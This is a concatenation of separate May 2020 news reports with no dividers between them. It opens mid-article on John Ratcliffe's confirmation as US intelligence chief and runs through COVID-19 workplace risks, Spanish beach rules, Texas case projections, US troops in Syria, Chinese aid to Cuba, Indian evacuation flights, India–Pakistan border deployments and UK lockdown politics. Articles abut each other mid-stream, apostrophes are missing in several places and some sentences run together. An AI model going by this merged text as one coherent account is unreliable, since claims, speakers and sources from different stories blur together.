"It requires someone with unimpeachable integrity, deep experience and the independence and backbone to speak truth to power. That's what DNIs, including the previous one, Dan Coats, did. Unfortunately, Ratcliffe doesn't even come close to meeting that high bar," Schumer added.

A report by The Hill news outlet said Ratcliffe's confirmation was the most political vote that has occurred for the DNI position, which has traditionally been viewed as an apolitical position.

Dan Coats, who left the post in August 2019 after a tenure in which he conflicted with the White House on a number of national security issues, was confirmed 85-12 for the post in 2017.

James Clapper, his Senate-confirmed predecessor, was confirmed by a voice vote.

Ratcliffe, 54, was nominated again by Trump in February to be the nation's spy chief, several months after the Texas Republican's first nomination was withdrawn amid bipartisan concerns about his qualification.

Trump picked Ratcliffe as new chief of national intelligence on July 28, 2019, four days after Robert Mueller testified before the House Judiciary Committee, when the Republican fiercely questioned the former special counsel over his two-year investigation into the alleged Russian interference in the 2016 presidential election, and Trump's possible obstruction of justice.

First elected to the US Congress, Ratcliffe sits on the House judiciary and intelligence committees.

As a frequent Trump's defender, he has been viewed as one of the most conservative members of Congress based on his voting record. He was also a member of Trump's impeachment defence team.

The DNI position has been filled in an acting capacity since Coats stepped down in August 2019.

The DNI is a cabinet-level official in the US government that serves as the head of the 17-member US Intelligence Community, a group of separate intelligence agencies and subordinate organizations engaging in intelligence activities that support American foreign policy and national security.

The post was created in the wake of the terrorist attacks on September 11, 2001.
Federal law provides protections for disabled or older workers, but ultimately they can be recalled to the workplace, even if it can't be made 100% safe. (Carlos Chavez / Los Angeles Times)

There's no social distancing for Venda Ripke at work. The 41-year-old teacher often gets face-to-face with the young students in her special education classes at Newcastle Elementary School.

Students with learning disorders, autism and other conditions benefit, she says, from the close interaction. And that's a problem in the age of coronavirus, especially since Ripke has Type 1 diabetes and other medical ailments.

"I am a disabled person and I work with students who are disabled," says Ripke, who hasn't taught at the Reseda school since the Los Angeles Unified School District sent students home in March. "I feel like I can't even walk outside of my home. Imagine if I were being asked to return to work."

With some 39 million Americans filing jobless claims since the pandemic broke out and fears growing of another Great Depression, getting workplaces open has become a priority. That's a tricky proposition as the number of coronavirus cases and deaths mount, even if the rate of transmission slows in some places. But for workers especially vulnerable to complications from COVID-19, a return to work can feel like a death sentence. That's not a small group.

Some 41 million Americans ages 18 to 64 are at risk for serious complications from COVID-19 due to underlying conditions such as diabetes, uncontrolled asthma and heart disease, according to a Kaiser Family Foundation analysis. Also at risk are Americans 65 and older, about 10.4 million of whom remain in the workforce  an age group that accounts for 80% of U.S. COVID deaths.

Already there's evidence vulnerable communities are paying a price, with African Americans, Latinos and other minorities dying at higher rates than their white and Asian counterparts, according to a Times analysis. Several factors account for the disparity, among them the fact such groups are more likely to work consumer-facing jobs and have underlying health conditions, such as diabetes and high blood pressure.

Story continues

"COVID has really brought to the forefront a sense of vulnerability that is much bigger than we thought," said Eileen McNeely, executive director of the Harvard T.H. Chan School of Public Health's SHINE program, which researches how to develop sustainable and healthful workplaces. "We've all now started to pay attention to who's dying at greater rates."

While federal law provides special protections for workers who have disabilities or are older, ultimately they can be recalled to the workplace, even if it can't be made 100% safe. And should employers try to prevent certain employees from returning to their jobs, they could face discrimination claims from older workers and disabled workers.

The complications of returning millions to the workplace has prompted a flurry of activity on Capitol Hill. The U.S. Chamber of Commerce is seeking broad liability protections for employers in case workers or customers get sick, while the AFL-CIO filed a lawsuit Monday demanding the federal Occupational Safety and Health Administration issue tough emergency standards to better protect workers.

In California, Gov. Gavin Newsom signed a temporary executive order creating a presumption that if a worker gets sick it was contracted on the job, funneling such cases into the workers compensation system.

However, the issues involving vulnerable workers are even more complex.

Workers who are diabetic or asthmatic or have other conditions that are considered disabilities are offered special protections by the Americans with Disabilities Act, which requires employers to provide so-called "reasonable accommodations" as needed. The Age Discrimination in Employment Act offers workers older than 40 protections against discrimination on the basis of their age.

Questions linger about whether and how such protections will shield workers who are older or have medical conditions in the time of the coronavirus.

"It's definitely a minefield for employers," said Walter Stella, a labor and employment attorney at Cozen O'Connor, which represents employers. "The traditional reasonable accommodation analysis requires employers to accommodate disabled employees so that they can continue to perform the essential functions of their jobs. The focus of the law is not to give employees a reasonable accommodation so that they don't get the coronavirus."

That legal analysis rubs up against the demands of employee advocates who say that providing a safe workplace is the fundamental duty of employers amid the pandemic. Practically speaking, though, Stella agrees that driving the interactions between employers and employees will be the issue of workplace safety as more businesses open with no proven therapeutics for COVID-19 and a vaccine possibly a year or more off.

In some places, a vulnerable worker may feel protected simply if social distancing, masks and other now-common safety practices are in place for all workers. That may not be adequate, though, elsewhere or in jobs that typically require close interpersonal interaction.

"It's kind of getting into the weeds, if you will, of looking at that workplace, looking at the jobs to figure out an accommodation," said Nellie Brown, a certified industrial hygienist and director Workplace Health and Safety Programs for the Worker Institute at Cornells School of Industrial and Labor Relations.

Making an accommodation is not always difficult. A vulnerable worker could continue to telecommute while others return to the workplace, or could be given an office with a closed door. In a factory, such a worker could be put at the end of the assembly line.

But those are simple examples and they may not be adequate. Among the most notable COVID-19 outbreaks have been meatpacking plants, where employees work in confined spaces on fast assembly lines, prompting complaints by labor of inadequate safety equipment and forcing temporary shutdowns.

And there are the situations facing workers like Ripke, who can't imagine how she could properly conduct her job either remotely or using a mask while practicing social distancing. "It's such a hands-on and close and personal position that I'm in. I'm working with small children. Kindergarten through fifth grade. They don't understand the hand-washing and the mask on the face," she said.

In response to Ripke's concerns, a district spokesperson said LAUSD is working with various agencies with a goal to "provide employees, including those with COVID-19 vulnerabilities, every opportunity possible to continue to work.

There are other options for workers like Ripke, but they are not necessarily ideal. One would be using personal leave time  something Ripke fears she may be forced to do. But with the pandemic not expected to vanish for a long time that would be only a temporary solution.

Employers also may assign such workers to safer jobs. While that's a possibility in large corporations or school districts, it may not be an option at small businesses, where a worker could just be out of luck.

"At some point it just may be that the person is eligible for retirement or disability retirement but that's it. The employer would have fulfilled its duties under the ADA. Employers do not have to indefinitely keep anybody on leave," said Sharon Rennert, senior attorney advisor in the EEOC's ADA division. "Basically it's going to be termination."

Or workers might just leave or retire of their own accord whether vulnerable or not, something that employers in essential businesses where interaction with public is a core part of their job have already experienced.

"I know we have had some associates that have not come back to work and they probably just do that out of self-preservation," said John Votava, director of corporate affairs at Ralphs, the supermarket chain, which has remained open throughout the pandemic.

Departing the workplace, however, is unlikely to be an option desired by most older or medically vulnerable workers, who either need the money or enjoy their jobs.

Attorney Wendy Musell, past president of the California Employment Lawyers Assn., a trade group of attorneys that represent employees, said the pandemic is likely to present novel cases involving workers who feel their health is being put at risk  but also those who don't want any special treatment.

"There are older workers and individuals with disabilities who want to come to work," she said. "If the employee says, 'You know what. I can wear a mask. I can be in my office. This is not an issue,' and the employer says, 'We are not going to allow you to go to work,' I think there are going to be some interesting cases."

Stella agreed, noting there is a potential for "no good deed goes unpunished: for being too protective for certain employees and then having those employees saying, 'Well wait a minute. This isn't just. You are treating me differently because of my age or because of my medical condition.'"

Indeed, the AARP is fearful that the gains older workers have made in the workplace could be lost in the current environment, as employers seek to minimize the risks they and employees face from a disease that has hit the elderly particularly hard. It's recommending continuing to allow them to telecommute if possible.

"Employers need to be super thoughtful as they bring back their workers," said Susan Weinstock, vice president of financial resilience programming at the advocacy group. "But we certainly don't want this to be a way to institutionalize age discrimination. Pre-pandemic, things were going really well for older workers."

While the federal age discrimination law doesn't require employers to offer reasonable accommodations for older workers, it does require that employers offer equal opportunities for workers who are 40 or older. Practically speaking, that would bar employers from establishing a blanket policy keeping workers older than a certain age from returning to the workplace.

"There is nothing magical about 59 to 60, and you could have workers who are in tip-top shape at 59 or 60 and workers who are 25, 35, 45 who are not," Musell said. "I think this is going to be very touchy."

And that's especially so in an era when baby boomers move toward retirement, yet remain in the workplace in large numbers.

Ashley Martin, assistant professor of organizational behavior at the Stanford Graduate School of Business, said there is age prejudice from younger workers who think older ones are blocking their ability to move up or are sucking up financial resources through healthcare, retirement and other benefits.

"There is already a sense that they are sacrificing a lot of what they should have because older people are still around and still working and living longer than ever," she said. "I am concerned about it."

She noted research that showed mothers who took flex time experienced bias and recommended that employers frame policies that would benefit older workers as ones available to all employees. "What they are doing for older workers should be either framed as a holistic policy or implemented at a holistic level,' she said.

Amid the unanswered questions, employees and employers alike have been looking for some clarity.

In Washington, a top priority of the U.S. Chamber of Commerce is getting employers a so-called "legal safe harbor" from lawsuits by employees or customers who allege they acquired COVID from a place of business. The proposal is supported by some leading Republicans but opposed by Democrats and labor.

The chamber's National Return to Work Plan also seeks legal protections arising from alleged violations of the ADA and the age discrimination act  such as from workers who say they were delayed in returning to work, returned to work too soon, or not provided reasonable accommodations.

Neil Bradley, chief policy officer of the U.S. chamber, said that while talks have focused on broad "exposure liability," the issue of discrimination claims has not been left out. "We have absolutely had discussions with lawmakers around making sure that following public health guidance doesn't trip you somehow," he said.

The chamber's proposals are based on the idea that if employers follow established public health guidance, they should not be stuck with the cost if workers or customers get sick, but employee advocates say that the law already provides enough legal protections for employers. Musell calls the Chamber proposal involved the ADA and age discrimination act a "nonstarter."

Meanwhile, the AFL-CIO has challenged the notion that there are adequate national standards even as the Centers for Disease Control, the EEOC and various state and local agencies have issued a tumult of workplace regulations and guidance. It filed an emergency petition demanding that OSHA issue legally binding COVID workplace standards.

In response, a department spokesperson called the lawsuit "counterproductive: and said the agency is "working around the clock" to protect American workers.

In the meantime, businesses are already opening across the nation  a process that will provide some clarity in itself, said Stella, of Cozen O'Connor.

"No one really knows how this is going to play out until the economy really starts to open up and everybody returns back to work," he said.
The Spanish government will recommend that beaches in the country be reopened in summer with measures in place to reduce the risk of coronavirus contagion. These include putting limits on capacity, separating sun loungers, and delineating the space allowed for each beachgoer.

Beaches are allowed to reopen under Phase 2 of Spains deescalation plan. Up until now, they have been only open for walks and sporting activities. Around 47% of Spaniards are moving into Phase 2 of the national deescalation plan.

The Industry Ministry tasked the Institute of Quality Spanish Tourism (ICTE) with establishing general protocols for reopening beaches, and a draft agreement was reached with regional and local authorities. The final decision on beach regulations will fall to city councils, which are largely responsible for beach management.

Local councils will have to determine whether it is necessary to set up a system that warns people they are unable to go to a beach when it is at capacity

Its a draft that still needs to be approved by the Health Ministry, meaning that the final version could be different, explained a spokesperson from ICTE. The rules are not binding, but they have been created with the input of the regions and local authorities, so we believe that most of them will be followed.

Before the draft guidelines were created, some city officials in Spain had already proposed different ideas for how to reopen beaches safely, such as apps to control capacity, closing the beach at high tide, dividing the space into plots, ensuring safe distances between beachgoers, and banning the use of shower facilities.

An outdoor restaurant in Valencia. Micaela Varela

The ICTE document calls on local governments to estimate the capacity of each beach, taking into account its characteristics and how the space is used, depending on whether beach umbrellas and sun loungers are available for hire. With this information, city councils will have to determine whether it is necessary to control access or set up a system that warns people they are unable to go to a beach when it is at capacity. The guidelines warn that this may require beach staff to be reorganized, and even the use of drones.

The draft recommends the use of beach umbrellas, posts and other elements to signal what areas may be occupied. The document also calls on local authorities to consider how to ensure people on the frontline of the beach maintain a safe distance from the waves.

Meanwhile, the guidelines indicate that areas for sun loungers and umbrellas must be clearly demarcated, with controls set up to ensure that the equipment has been properly cleaned and disinfected. The material on sun loungers must be disinfected or replaced after each use and at the end of every day.

The guidelines recommend that municipal authorities assess whether to open toilet facilities at the beaches. If reopened, they must be cleaned and disinfected several times throughout the day. They must also have water, soap, paper towels or hand dryers, and a trash can that does not need to be opened by hand. According to the document, beaches will need to be cleaned more frequently, and workers must be provided with adequate information on hygiene norms.

Some regions in Spain have already outlined their own regulations. In the case of Andalusia, in the south of Spain, regional authorities have recommended limiting time at the beach to four hours, setting out safe distances on the sand, setting opening and closing hours, disinfecting beaches every day, and banning the use of shower facilities and changing rooms. According to these rules, bathrooms must be used only strictly when necessary and towels must be at least two meters apart.

English version by Melissa Kitson.
(TNS)  Houston is one of several cities in the South that could see spikes in COVID-19 cases over the next four weeks as restrictions are eased, according to new research that uses cellphone data to track how well people are social distancing.The updated projection, from PolicyLab at Childrens Hospital of Philadelphia, found that traffic to non-essential businesses has jumped especially in Texas and Florida, which have moved aggressively to reopen.In Harris County, the model predicts the outbreak will grow from about 200 new cases per day to more than 2,000 over the next month.Some areasparticularly in the souththat have moved more quickly to reopen are showing a higher risk for resurgence, the researchers wrote in a blog post . If people in Houston and Palm Beach, Fla., for example, arent being cautious with masking in indoor crowded locations and with hygiene and disinfection, local governments may need to intervene again should they lose control of the epidemic.Bexar County, which includes San Antonio, will also see an increase in COVID-19 cases according to the projection, but would still be below 100 new cases per day. Bexar reported 44 new cases on Wednesday, a Hearst Newspapers data analysis shows And in north Texas, UT Southwestern Medical Center found in a study last week that Dallas County could see 800 new cases a day - about three times what its seeing now  by late June if restrictions are relaxed.Scientists from across the country have been warning for some time of a possible second wave of COVID-19 this fall, but few have pointed to a timeline as early as June.One epidemiologist interviewed by Hearst Newspapers cautioned that modeling is not a perfect science because of the limitations of the data  it takes time for a person to develop symptoms, get tested, and get results.Of course, scientists also of course cant predict how policy choices will play out and how people will react to them.Texas has been doing well by some measures as it reopens  hospitalizations are mostly steady and the rate of people testing positive for COVID-19 has fallen as access to testing expands. The state reported about 26,000 tests per day over the past week, nearing Republican Gov. Greg Abbotts goal of 30,000.But daily new cases remain at their highest point since the outbreak began in March. Outbreaks are especially hitting El Paso and meatpacking plants in the Panhandle. Abbott has sent in surge response teams to help contain local outbreaks, but as more of the state reopens, public health officials worry that infections will spread too quickly.Abbott has said all along that he expected the number of Texans testing positive for COVID-19 to increase as the states ability to test improved. But as he reopens the state, hes said hes focused on the states declining positivity and hospitalization rates.All the trends are going good in Texas, Abbott said during a Monday interview on Fox News.The PolicyLab research is tracking 389 large counties across the country with active outbreaks. It found that projections are best in places that are relaxing restrictions selectively in areas with fewer cases and less transmission.Given these cautious actions by our governments, we have already seen that the predicted resurgence has not occurred in most places that are beginning to reopen  rather, daily cases are either plateauing or falling, the researchers wrote. But the picture our models are painting for Texas and Florida provide ample evidence to others who would choose to move too quickly. We see these concerns even as we adjust for additional testing capacity that might have inflated our forecasts.Several research institutions across the country have models for forecasting COVID-19 deaths, and in general they show that states tallying large numbers of deaths are more likely to see substantial rises in fatalities in the future.One of those models comes from the University of Texas at Austin, where Lauren Ancel Meyers, who leads the schools COVID-19 Modeling Consortium, said whether cases and deaths increase in the weeks ahead depends on whether people take the recommended precautions.The cell phone mobility data clearly shows that people are leaving their homes for more of the day and going to public places like parks, grocery stores, and restaurants more often, Meyers said in an email interview. If most people are being cautious  wearing face coverings, keeping physical distance, and staying home if they have even mild symptoms  then we may not see an immediate spike in transmission.Meyers said its difficult to speculate about a resurgence in June, or even fall as has been predicted by other epidemiologists, because theres a significant lag in the data. Deaths often occur three or more weeks after an infection, and its yet to be seen how reopenings will go.Our forecasts only go three weeks into the future because we cannot predict policy and behavior, Meyers said. As policies are relaxed, the choices people make and our capacity for COVID-19 testing, contact tracing and isolation will determine the future of the pandemic.
Hundred of Marines and armoured vehicles have been seen in Hassakeh, as part of US efforts to expand their military base in the region writes The Syrian Observatory for Human Rights.

A heavily-armed US military convoy entered northeastern Syria this week to expand one of their bases inside Hassakeh Governorate.

Military sources told the Syrian Observatory for Human Rights that as many as 30 heavily-armed military vehicles, carrying 200 Marines, entered northeastern Syria.

The US military convoy was seen heading to the Istrahat Wazir area, which is where they are currently expanding their base.

The US has been dispatching hundreds of Marines to Hassakeh Governorate to disrupt the Russian militarys operations.

The US dispatch of hundreds of Marines to Syria is believed to disrupt the Russian military operation in Hassakeh in the context of its active support of Syrias regional security and the M4 international highway connecting Hassakeh with Aleppo, the sources said.

This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author.
Source: Xinhua| 2020-05-22 12:15:20|Editor: huaxia

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Chinese Ambassador to Cuba Chen Xi (2nd R) and Cuba's Deputy Minister of Public Health Luis Fernando Navarro (1st R) attend a Chinese donation delivery ceremony in Havana, Cuba, on May 20, 2020. Cuba on Wednesday received a batch of medical supplies donated by China, including some 4,000 COVID-19 rapid test kits by the Chinese Embassy in Havana, 100,000 surgical gloves, 10,000 protective suits and 10,000 goggles by Yutong Bus Co., one of the world's leading bus makers, as well as 100,000 U.S. dollars donated by the Chinese Red Cross Foundation to the Cuban Ministry of Public Health. (Photo by Joaquin Hernandez/Xinhua)

HAVANA, May 21 (Xinhua) -- Cuba supports Chinese President Xi Jinping's speech held on Monday at the 73rd World Health Assembly (WHA), the country's Deputy Minister of Public Health Luis Fernando Navarro said on Wednesday.

Navarro made the remarks during a Chinese donation delivery ceremony at the warehouse of Cuban medical supplies distributing company ENSUME on the outskirts of Cuba's capital Havana.

"We paid attention to the speech of Chinese President Xi Jinping at the World Health Assembly," said Navarro. "We are convinced China is loyal to what it represents for the entire world in fighting against the virus."

China is a role model in confronting complex scenarios like the COVID-19 pandemic, said the official, noting that "China has shared its experiences, financial resources and scientific research with the world."

"We must join international efforts, enhance cooperation and increase support to developing countries and leadership of the WHO (World Health Organization)," Chinese Ambassador to Cuba Chen Xi said.

The ambassador expressed satisfaction over Cuba's achievements in fighting COVID-19, noting that "Cuba has effectively faced and controlled the spread of the pandemic as confirmed cases continue to decrease and the number of discharged patients grows."

Cuba on Wednesday received a batch of medical supplies donated by China, including some 4,000 COVID-19 rapid test kits by the Chinese Embassy in Havana, 100,000 surgical gloves, 10,000 protective suits and 10,000 goggles by Yutong Bus Co., one of the world's leading bus makers, as well as 100,000 U.S. dollars donated by the Chinese Red Cross Foundation to the Cuban Ministry of Public Health.

The Chinese government, companies and social organizations have been supporting Cuba since the country reported its first coronavirus cases on March 11.

So far, Cuba has registered 1,908 confirmed coronavirus cases, with 80 deaths. Enditem
Bengaluru, May 22 : Evacuation planes from Male in Maldives and Doha in Qatar landed here with returnees from Karnataka after they were stranded for two months due to suspension of international flights since March 23 and extended lockdown, an official said on Friday.

"An Air-India flight (#0266) with 152 passengers from Male and its subsidiary Express flight (IX-0822) with 177 returnees and 5 infants from Doha landed here safely at 6:50p.m. and 9:05p.m," an airline official told IANS here.

Both the flights are first from the respective countries to Bengaluru, bringing in returnees to the southern state in the second phase of the Vande Bharat mission, being carried out to evacuate Indians stranded the world over.

"As per the standard operating procedure and guidelines of the state health department, all the passengers were screened with thermal device and tested to ensure they were asymptomatic before leaving the airport," a nodal officer said.

The returnees were given a spare mask to wear all the time and a sanitiser to wash their hands.

"The luggage of all passengers were screened and disinfected before handing over to them after they completed formalities such as filling the self-declaration form and downloading of the Quarantine App for contact tracing later, said the official.

The passengers were ferried from the airport in state-run buses in batches for 14-day institutional quarantine in hotels and resorts across the city.

The flights were 6th and 7th to Karnataka of the national carrier and its Express arm, which are operating the service to repatriate thousands of Indians, including distressed workers, migrants, students, senior citizens and tourists, stranded overseas.

Five flights have flown about 650 returnees till date from May 18-21 under the mission's second phase to Bengaluru and Mangaluru on the state's west coast from Dubai in the UAE, Kuala Lumpur in Malaysia, Muscat in Oman, Dammam in Saudi Arabia and fifth from San Francisco in the US west coast.

The remaining flights to Karnataka will land in Bengaluru and Mangaluru over the next 12 days till June 3 from 9-10 more destinations the world over.

In the first phase of the mission from May 7-17, the airline and its arm flew 6 flights to the state from May 11-15, bringing in 800 passengers, including 623 to Bengaluru and 177 to Mangaluru from London, Singapore, San Francisco and Dubai.
The effect of the growing Indo-US cooperation between the lockdown and the Corona crisis has started to appear on the Line of Control, Line of Control and International Border in Jammu and Kashmir. While China has increased the number of troops in the area along the Line of Actual Control in Ladakh, Pakistan has deployed additional military divisions along the international border in Samba and Hiranagar. Apart from this, Pakistan has deployed anti-aircraft guns along with bringing the artillery forward.

In their statement, defence sources said that the Pakistan Army had intensified activities in areas adjacent to the LoC since April. Initially, it was being considered as part of its strategy to ensure infiltration of terrorists in Jammu and Kashmir, but now this deployment has raised questions. Pakistan has brought forward the artillery and during the last 15 days, it has also deployed anti-aircraft guns along the Line of Control. This action of Pakistan cannot be ignored in this way.

Apart from this, official sources said that during the last one month, the Pakistani Army has violated the ceasefire in Poonch sector most times. Also on the international border in Hiranagar sector. Based on the assessment of these activities and intelligence reports, it is revealed that he has not only taken this action to ensure infiltration but he has also brought the attention of the Indian Army through them, speeding up military preparedness in the forward areas.

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Government plans to reopen primary schools are grounded in welfare concerns rather than evidence younger pupils are less vulnerable to coronavirus, a Sage source revealed last night.

In the first phase of his back-to-school blueprint, Boris Johnson wants children in Reception, Year 1 and Year 6 to go back to class on June 1.

An expert on Downing Street's scientific advisory subcommittee on schools claimed that these specific year groups were selected based on worries for their education and wellbeing - not that they are more shielded to the disease.

Although age is a factor in how at-risk an infected person is to Covid-19 symptoms, modelling found there was 'no increased risk to one year group over another'.

Government plans to reopen primary schools are driven by welfare concerns rather than evidence younger pupils are less vulnerable to coronavirus (Education Secretary Gavin Williamson pictured)

Sage, the Scientific Advisory Group on Emergencies, chaired by Sir Patrick Vallance, will today publish its advice on the safety of reopening primary schools next month

Social workers deployed in schools Social workers will be placed in schools across the country to help identify children at risk of abuse and neglect, the Government has announced. Nearly 10million of funding from the Department for Education (DfE) has been announced for projects aimed at boosting the educational outcomes of vulnerable children and keeping them safe from harm. Of this package, 6.5million will be allocated to What Works for Children's Social Care who will deploy social workers in more than 150 schools to help staff spot the signs of children at risk more quickly. Education Secretary Gavin Williamson said: 'The stark reality is that too many children are growing up at risk of abuse, neglect and exploitation. 'These are the most vulnerable in society, and the ones that most need our help. ' Advertisement

The Sage source told the Telegraph that 'welfare reasons and educational reasons' informed the decision to pick these three year groups as the first to go back.

Sage, the Scientific Advisory Group on Emergencies, chaired by Sir Patrick Vallance, will today publish its advice on the safety of reopening primary schools next month.

The revelations that there is no difference in the vulnerability of certain year groups will likely whip up anger from teachers' unions, who claim social distancing is much harder to enforce in primary schools.

Ministers have also come under growing pressure from councils, predominantly by Labour-run local authorities in the north of England, who have ruled out a wider reopening from June 1.

A final decision on whether to go ahead with reopening schools is expected to be taken by the government on or before May 28 after the most up-to-date scientific evidence has been reviewed.

The Prime Minister's official spokesman said: 'We are continuing to hold discussions with them and to listen to their concerns.'

He added: 'It remains our intention to get as many children as possible back into school as soon as we are able, in a way that's safe.'

Glebe School in West Wickham remains closed because of the coronavirus outbreak

Schools will return next month with a series of government rules in place to keep staff and pupils as healthy as possible

Asked when a decision would be made on the date, the spokesman told reporters: 'I'm not in a position to say to you, definitively, when we will be able to say that.'

But 'our intention remains to get as many children into school as soon as possible but in a safe way'.

It is likely that local authority-run primary schools in England will look closely at what their council has to say before deciding whether to reopen on the first week of June.

The government has also said secondary schools and colleges should aim to offer some 'face-to-face contact' with Year 10 and 12 students who have key exams next year during the summer term.

Reopening pubs and restaurants NOW would NOT risk a second coronavirus spike says Oxford University professor

by TOM PYMAN for MailOnline

Pubs, restaurants and entertainment venues may be safe to reopen immediately without risking a spike in the coronavirus infection rate, according to a top scientist.

Sunetra Gupta, a professor at the University of Oxford, claims there is a 'strong possibility' businesses would be able to welcome customers once more, and avoid the kind of catastrophic consequences the government has warned could occur if lockdown restrictions aren't eased in steady phases.

Furthermore, she claimed long-term social distancing in fact makes the public more vulnerable to infectious diseases, by keeping them unprotected from pathogens.

Sunetra Gupta, a professor at the University of Oxford, claims there is a 'strong possibility' pubs and restaurants may be able to reopen immediately

A study by Imperial College London, led by Professor Neil Ferguson, warned in March as many as half a million people could die in the UK if a strict lockdown wasn't enforced.

However, Professor Gupta and her team at Oxford produced an alternative model, suggesting that half of all Brits could have already been exposed to Covid-19 and that the true infection fatality rate may be as low as 0.1 per cent.

The study was controversial, but two months on, the scientist stands by the findings.

She told Unherd: 'I think there's a chance we might have done better by doing nothing at all, or at least by doing something different, which would have been to pay attention to protecting the vulnerable, to have thought about protecting the vulnerable 30 or 40 years ago when we started cutting hospital beds. The roots of this go a long, long way back.

Kaomi and Mick Jones, landlady and landlord of the Railway, Hebden Bridge, enjoy a drink outside their closed pub on the hottest day of the year so far. They attracted the interest of passing police until they explained to officers they are within the boundaries of their home

Empty tables outside the White Lion pub in Egham during the coronavirus lockdown as pubs remain temporarily closed

Restaurants such as Cafe Rouge in Woking, Surrey, remain closed during the lockdown

'The Government's defence is that this [the Imperial College model] was a plausible worst case scenario. I agree it was a plausible  or at least a possible  worst case scenario.

'The question is, should we act on a possible worst case scenario, given the costs of lockdown? It seems to me that given that the costs of lockdown are mounting, that case is becoming more and more fragile.'

Boris Johnson ordered the shutdown of the hospitality industry on March 20 and they have remained closed ever since.

However, as lockdown measures were eased slightly last week, Brits have made their way to parks and beaches to take advantage of the recent warm weather.

Local businesses are also making the most of the opportunity after sunseekers were seen yesterday, on the hottest day of the year so far, carrying drinks away from bars in takeaway cups.

This week it emerged that the hospitality industry has submitted a 75 page report setting out a roadmap to getting restaurants and pubs open on July 4, that includes ditching the hotel buffet and no more drinkers at the bar.

The dossier has been submitted to ministers by UKHospitality, the trade body for the industry.

Sunseekers were seen in Brighton yesterday, on the hottest day of the year so far, carrying drinks away from bars in takeaway cups

It says that in pubs and restaurants, salt and pepper shakers will be removed from tables and instead brought to customers along with cutlery, instead of it being on the table when you sit down.

Drinkers will also be discouraged from queuing up at the bar, and table service will be encouraged.

To prevent people not respecting social distancing guidelines there will be tape on the floor showing the appropriate distance needed.

Other options that pubs could consider is getting customers to order from one till and then collecting drinks at a separate pick up point.

When leaving the pub or getting another drink many people will take their empty glasses back to the bar so staff don't have to come and collect them.

But the document says that glasses should now be collected by staff.

Pubs will also have to put in place a plan for toilets to ensure they don't become overcrowded.
Sir Paul's intervention came as Boris Johnson's (pictured today) Government faces increasing pressure over its handling of the pandemic

A Nobel Prize-winning scientist tore into Boris Johnson's leadership during the coronavirus crisis today, claiming it was not clear 'who is actually in charge of the decisions'.

Sir Paul Nurse said Britain has been left on the 'back foot' with a lack of clear planning that left it ''firefighting through successive crises', in a scathing attack on the political establishment.

Sir Paul, the chief executive of the distinguished Francis Crick Institute, said the country had been 'increasingly playing catch-up' and scientists and politicians should lay out 'a much clearer publicly-presented strategy' to tackle the pandemic.

Sir Paul's intervention came as the Government faces increasing pressure over its handling of the pandemic. It is facing ongoing criticism over the rate of deaths in care homes, a decision to abandon widespread testing early on and the slow roll out of a new testing regime.

Last night Mr Johnson was forced to u-turn over a widely unpopular decision to make foreign NHS and care staff pay a surcharge to access healthcare in the UK, while working to save British lives.

The PM is also coming under increasing scrutiny for a lack of public appearances, interviews and press conferences since his return to work from his coronavirus hospitalisation.

He has taken just one of the daily news conferences in Number 10, on May 11, with other ministers taking charge.

Apart from his address to the nation on May 10, his only other visible public appearances have been two underwhelming performances at Prime Minister's Questions.

But this afternoon he did finally agree to face MPs' questions next week with an appearance at the Commons' Liaison Committee.

A senior Tory MP told MailOnline that they were concerned Mr Johnson looked to have 'lost his edge' and was not fully recovered from his illness.

'Under normal circumstances he would probably have been taking it easier. The guy was close to death there was pressure on him to come back. People don't usually come back to the pressure that he has been under,' the MP said.

'He is back in the firing line, running UK plc with 67million people and all the problems that is has got.'

For most workers colleagues would ensure they were 'out of the door at 5.20pm latest and make sure he has his weekends off', the Tory said.

'Boris has lost that edge. You could say Boris, we need you to take a really difficult turn, and he would use his common sense and get out of it.

'The illness may have had an impact. The spontaneity... I wonder whether mentally he's not as sharp because he's been seriously ill.'

Sir Paul Nurse said Britain has been left on the 'back foot' with a lack of clear planning that left it ''firefighting through successive crises', in a scathing attack on the political establishment.

The geneticist, who won the Nobel Prize for Medicine in 2001, criticised the PM (pictured last night), telling the BBC's Today Programme: 'I'm not completely convinced that we are actually being quite clear in having good leadership'

The MP said they still thought the PM would emerge from the situation, suggesting any government would be under fire at this point. 'We are on a sticky wicket. You don't have to look too much under the surface to find things to be critical about,' they said.

The future of 'spoons: Boss Tim Martin reveals plans to REOPEN 875 pubs JD Wetherspoon today revealed its 11million masterplan to reopen its 875 pubs as soon as the Government gives them the nod in July - but while the blueprint promises social distancing there is no mention of the two-metre rule experts say will decimate the hospitality sector. Drinkers will be told 'not to meet in large groups' and will be expected to sanitise their hands on arrival and at other times during their visit. They will follow one-way systems to the toilets and through the bar where the tills will be screened off to protect staff likely to be wearing masks, gloves and eye protection, the chain said. Staff will hand over all drinks holding the base of the pint or wine glass and when ordered via a smartphone they will be delivered to the table on a tray for the customers to take themselves to reduce the chances of spreading Covid-19. Families will be asked to keep children seated and always accompanied to the toilet. The 875 pubs in UK and Ireland will open during its usual hours of 8am to around 1am and encourage customers to order using its app with posters put up telling them 'there is no need to visit the bar'. But people can pay by cash or card at the till if necessary and must not move any furniture Advertisement

But they warned that Sir Keir Starmer had been making headway in the Commons. 'It is going down well. We need to be careful. Keir is a savvy guy. He can think on his feet,' the MP said.

Geneticist Sir Paul, who won the Nobel Prize for Medicine in 2001, told the BBC's Today Programme: 'I'm not completely convinced that we are actually being quite clear in having good leadership.

'The question I keep asking myself is: Do we have a proper Government system in here that can combine tentative knowledge, scientific knowledge, with political action?

'And the question I'm constantly asking myself is: Who is actually in charge of the decisions? Who is developing the strategy and the operation and implementation of that strategy?

'Is it ministers? Is it Public Health England? The National Health Service? The Office for Life Sciences, Sage (Scientific Advisory Group for Emergencies)? I don't know, but more importantly, do they know?'

Last night another top scientist claimed thousands of lives could have been saved from Covid-19 if Britain's lockdown was imposed just one week earlier.

Government scientific adviser Sir Ian Boyd, a member of Number 10's SAGE panel, admitted 'it would have made quite a big difference' if ministers acted sooner to fight the outbreak.

Department of Health figures show 36,042 Brits have died after testing positive for the coronavirus, which began to rapidly spread in the UK in March.

The Government is expected to unveil a new quarantine scheme today that forces anyone entering the UK to isolate for 14 days.

And so-called coronavirus 'immunity certificates' that could allow Britons to return to work have come a step closer after ministers announced that mass antibody tests are being deployed.

NHS and care workers will start to be given the tests from next week after Matt Hancock announced the government has signed a contract for 10 million kits.

The screening will finally show who has been through the disease and emerged with some level of resistance, a blind spot that has so far been a major blow to the UK response.

